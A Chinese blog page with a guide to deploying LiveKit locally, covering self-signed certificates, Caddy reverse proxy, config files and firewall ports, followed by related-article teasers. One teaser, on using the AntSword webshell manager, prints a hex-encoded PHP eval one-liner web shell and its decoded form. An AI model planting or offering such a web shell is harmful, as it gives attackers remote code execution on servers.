LiveKit 本地部署全流程指南(含 HTTPS/WSS)

1. 環境準備

  • 操作系統:Windows 10/11 或 Linux/Mac
  • 需有本地公網/內網 IP(如 192.168.x.x)
  • 推薦瀏覽器:Chrome/Edge/Firefox/Safari
  • 端口未被占用,防火墻允許相關端口

2. 目錄結構建議

livekit/livekit-server.execonfig.yamlturn-cert.pemturn-key.pemcaddy.exeCaddyfilewww/         # 前端靜態文件目錄medical-livekit.html...

3. 生成本地自簽名證書(HTTPS/TURN)

3.1 生成證書(以 Windows 為例)

openssl req -x509 -newkey rsa:4096 -sha256 -days 365 -nodes \-keyout turn-key.pem -out turn-cert.pem \-subj "/CN=localhost" \-addext "subjectAltName=DNS:localhost,IP:127.0.0.1,IP:192.168.20.40"
  • 192.168.20.40 替換為你的本地 IP

4. 配置 LiveKit

4.1 config.yaml 示例

port: 7880rtc:port_range_start: 50000port_range_end: 60000tcp_port: 7881use_external_ip: trueallow_tcp_fallback: truestun_servers:- "stun.l.google.com:19302"turn:enabled: trueudp_port: 3478tls_port: 5349relay_range_start: 50000relay_range_end: 60000domain: "192.168.20.40"      # 本機內網IPcert_file: "turn-cert.pem"key_file: "turn-key.pem"keys:devkey: "secret123456789012345678901234567890"logging:level: infojson: falsesample: falseroom:auto_create: trueempty_timeout: 300departure_timeout: 20max_participants: 0enabled_codecs:- mime: audio/opus- mime: video/vp8- mime: video/h264enable_remote_unmute: true

5. 配置 Caddy 反向代理 + 本地 HTTPS

5.1 下載 Caddy

  • 官方下載(選擇 Windows/Linux)

5.2 Caddyfile 示例

https://192.168.20.40:9443 {tls turn-cert.pem turn-key.pemencode gziproot * ./wwwfile_server# LiveKit signaling (WebSocket)reverse_proxy /rtc* 127.0.0.1:7880# 可選:API 代理等# reverse_proxy /api* 127.0.0.1:xxxx
}
  • 端口 9443 避免與系統 443 沖突
  • root * ./www 指向你的前端靜態文件目錄

5.3 啟動 Caddy

caddy run --config Caddyfile

6. 啟動 LiveKit 服務

./livekit-server.exe --config config.yaml

7. 本地防火墻與端口

  • Windows:允許 7880、7881、3478、5349、50000-60000、9443 端口通過
  • Linux:sudo ufw allow 7880,7881,3478,5349,9443/tcpsudo ufw allow 50000:60000/udp

8. 前端 Web 客戶端配置

  • signaling 地址:wss://192.168.20.40:9443/rtc
  • 頁面地址:https://192.168.20.40:9443/medical-livekit.html
  • 訪問時瀏覽器會提示自簽名證書不安全,選擇繼續訪問即可

9. 測試 TURN/ICE

  • 用手機/電腦在同一局域網訪問 https 頁面
  • F12 控制臺查看 ICE 日志,確認有 relay 類型候選
  • 如需外網測試,需做端口轉發

10. 常見問題排查

  • 端口未開放:檢查防火墻和 Caddy/LiveKit 啟動日志
  • 證書不被信任:本地自簽名證書需手動信任或忽略警告
  • 沒有 relay 候選:只能用 signaling 下發的動態 TURN,不能用靜態用戶名密碼測試
  • WebSocket 失敗:確保用 wss 協議,Caddy 代理配置正確

11. 參考命令

Windows 啟動順序

# 1. 啟動 LiveKit
.\livekit-server.exe --config config.yaml# 2. 啟動 Caddy
caddy run --config Caddyfile

Linux 啟動順序

./livekit-server --config config.yaml
caddy run --config Caddyfile

12. 訪問方式

  • 電腦/手機瀏覽器訪問:https://192.168.20.40:9443/medical-livekit.html
  • signaling 地址自動適配 wss

13. 進階

  • 可用 hosts 文件將 192.168.20.40 綁定為自定義域名,證書 CN 也寫該域名
  • 生產環境建議用公網服務器+正式域名+Let’s Encrypt 證書

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/diannao/90208.shtml
繁體地址,請注明出處:http://hk.pswp.cn/diannao/90208.shtml
英文地址,請注明出處:http://en.pswp.cn/diannao/90208.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

NumPy-統計函數詳解

NumPy-統計函數詳解一、基礎統計函數:均值、方差、標準差1. 全局統計:忽略維度的整體計算2. 按軸統計:指定維度方向的計算二、位置統計:中位數、分位數、百分位數1. 中位數計算2. 分位數與百分位數三、離散程度:極差、…

音頻被動降噪技術

音頻被動降噪技術 音頻被動降噪技術是一種通過物理結構和材料設計來減少或隔離外部噪聲的降噪方式,其核心原理是通過物理屏障或吸聲材料來阻斷或吸收聲波,從而降低環境噪聲對聽覺體驗的影響。以下將從技術原理、應用場景、優缺點及與其他降噪技術的對比等方面進行詳細分析。…

中國蟻劍使用方法

找到mysql配置文件 secure-file-priv工作目錄 D:\tool\huli\gui_webshell\AntSword\AntSword\antSword-master重點是tool目錄后面 前面大家可能都不一樣 添加數據一句話木馬 3C3F706870206576616C28245F504F53545B22636D64225D293B3F3E 翻譯過來 <?php eval($_POST["c…

8.1 prefix Tunning與Prompt Tunning模型微調方法

1 prefix Tunning 鏈接&#xff1a;https://blog.csdn.net/m0_66890670/article/details/142942034 這里有基礎的細節介紹。我下面直接總結。 連接2 &#xff1a;https://zhuanlan.zhihu.com/p/1899112824342577371&#xff0c;簡單明了 prefix Tunning改變了什么呢&#xff…

FlashAttention 深入淺出

一 標準Attention的計算 1.1 標準Attention機制詳解 標準Attention&#xff08;注意力&#xff09;機制是深度學習&#xff0c;尤其是在自然語言處理領域中一項革命性的技術&#xff0c;它允許模型在處理序列數據時&#xff0c;動態地將焦點放在輸入序列的不同部分&#xff0c;…

C/C++ inline-hook(x86)高級函數內聯鉤子

&#x1f9f5; C/C inline-hook&#xff08;x86&#xff09;高級函數內聯鉤子 引用&#xff1a; fetch-x86-64-asm-il-sizeC i386/AMD64平臺匯編指令對齊長度獲取實現 &#x1f9e0; 一、Inline Hook技術體系架構 Inline Hook是一種二進制指令劫持技術&#xff0c;通過修改目…

云服務器的安全防護指南:從基礎安全設置到高級威脅防御

隨著云計算的廣泛應用&#xff0c;云服務器已成為企業和個人存儲數據、運行應用的重要基礎設施。然而&#xff0c;隨之而來的安全威脅也日益增多——從常見的網絡攻擊&#xff08;如 DDoS、SQL 注入&#xff09;到復雜的惡意軟件和零日漏洞&#xff0c;無一不考驗著系統的安全性…

狀態機管家:MeScroll 的交互秩序維護

一、核心架構設計與性能基石 MeScroll作為高性能滾動解決方案&#xff0c;其架構設計遵循"分層解耦、精準控制、多端適配"的原則&#xff0c;通過四大核心模塊實現流暢的滾動體驗&#xff1a; 事件控制層&#xff1a;精準捕獲觸摸行為&#xff0c;區分滾動方向與距…

數據出海的隱形冰山:企業如何避開跨境傳輸的“合規漩渦”?

首席數據官高鵬律師數字經濟團隊創作&#xff0c;AI輔助凌晨三點的寫字樓&#xff0c;某跨境電商的技術總監盯著屏幕上的報錯提示&#xff0c;指尖懸在鍵盤上遲遲沒落下。剛從新加坡服務器調取的用戶行為數據&#xff0c;在傳輸到國內分析系統時被攔截了——系統提示“不符合跨…

【Rust base64庫】Rust bas64編碼解碼詳細解析與應用實戰

?? 歡迎大家來到景天科技苑?? ???? 養成好習慣,先贊后看哦~???? ?? 作者簡介:景天科技苑 ??《頭銜》:大廠架構師,華為云開發者社區專家博主,阿里云開發者社區專家博主,CSDN全棧領域優質創作者,掘金優秀博主,51CTO博客專家等。 ??《博客》:Rust開發…

如何利用AI大模型對已有創意進行評估,打造殺手級的廣告創意

摘要 廣告創意是影響廣告效果的最重要的因素之一&#xff0c;但是如何評估和優化廣告創意&#xff0c;一直是一個難題。傳統的方法&#xff0c;如人工評審、A/B測試、點擊率等&#xff0c;都有各自的局限性和缺陷。本文將介紹一種新的方法&#xff0c;即利用人工智能大模型&am…

OSCP - HTB - Cicada

主要知識點 SMB 用戶爆破Backup Operator 組提權 具體步驟 nmap掃描一下先&#xff0c;就像典型的windows 靶機一樣&#xff0c;開放了N多個端口 Nmap scan report for 10.10.11.35 Host is up (0.19s latency). Not shown: 65522 filtered tcp ports (no-response) PORT …

10046 解決 Oracle error

How to Offline a PDB Datafile in NOARCHIVELOG mode CDB which is not Open in Read Write (Doc ID 2240730.1)1. pdb 下的datafile 只能在pdb下操作&#xff0c;不能在cdb下操作For the purposes of this document, the following fictitious environment is used as an exa…

在HP暗影精靈Ubuntu20.04上修復IntelAX211Wi-Fi不可用的全過程記錄——系統安裝以后沒有WIFI圖標無法使用無線網

在 HP 暗影精靈 Ubuntu 20.04 上修復 Intel AX211 Wi-Fi 不可用的全過程記錄 2025 年 7 月初 系統環境&#xff1a;HP OMEN&#xff08;暗影精靈&#xff09;筆記本?|?雙系統 Windows 11 & Ubuntu 20.04?|?內核 5.15 / 6.15 mainline 問題關鍵詞&#xff1a;Intel AX21…

Sql server 中關閉ID自增字段(SQL取消ID自動增長)

sql server在導入數據的時候&#xff0c;有時候要考慮id不變&#xff0c;就要先取消自動增長再導入數據&#xff0c;導完后恢復自增。 比如網站改版從舊數據庫導入新數據庫&#xff0c;數據庫結構不相同&#xff0c;可能會使用insert into xx select ..from yy的語句導入數據。…

Python實現文件夾中文件名與Excel中存在的文件名進行對比,并進行刪除操作

以下python程序版本為Python3.13.01.請寫一個python程序&#xff0c;實現以下邏輯&#xff1a;從文件夾獲取所有文件名&#xff0c;與Excel中的fileName列進行對比&#xff0c;凡是不在該文件夾下的文件名&#xff0c;從Excel文檔中刪除后&#xff0c;并將Excel中fileName和fil…

廣告業務動態查詢架構設計:從數據建模到可視化呈現

在數字化營銷領域&#xff0c;廣告主每天面臨著海量數據帶來的分析挑戰&#xff1a;從賬戶整體投放效果&#xff0c;到分渠道、分地域的精細化運營&#xff0c;每一層級的數據洞察都需要靈活高效的查詢能力。我們的廣告業務動態查詢系統&#xff0c;正是為解決這類需求而生 &am…

pytorch、torchvision與python版本對應關系

pytorch、torchvision與python版本對應關系 可以查看官網&#xff1a; https://github.com/pytorch/vision#installation

【機器學習筆記 Ⅲ】3 異常檢測算法

異常檢測算法&#xff08;Anomaly Detection&#xff09;詳解 異常檢測是識別數據中顯著偏離正常模式的樣本&#xff08;離群點&#xff09;的技術&#xff0c;廣泛應用于欺詐檢測、故障診斷、網絡安全等領域。以下是系統化的解析&#xff1a;1. 異常類型類型描述示例點異常單個…

【ssh】在 Windows 上生成 SSH 公鑰并實現免密登錄 Linux

在 Windows 上生成 SSH 公鑰并實現免密登錄 Linux&#xff0c;可以使用 ssh-keygen 命令&#xff0c;這是 Windows 10 和 Windows 11 中默認包含的 OpenSSH 工具的一部分。下面是詳細步驟&#xff1a; 在 Windows 上生成 SSH 公鑰 打開 PowerShell 或命令提示符&#xff1a; 在…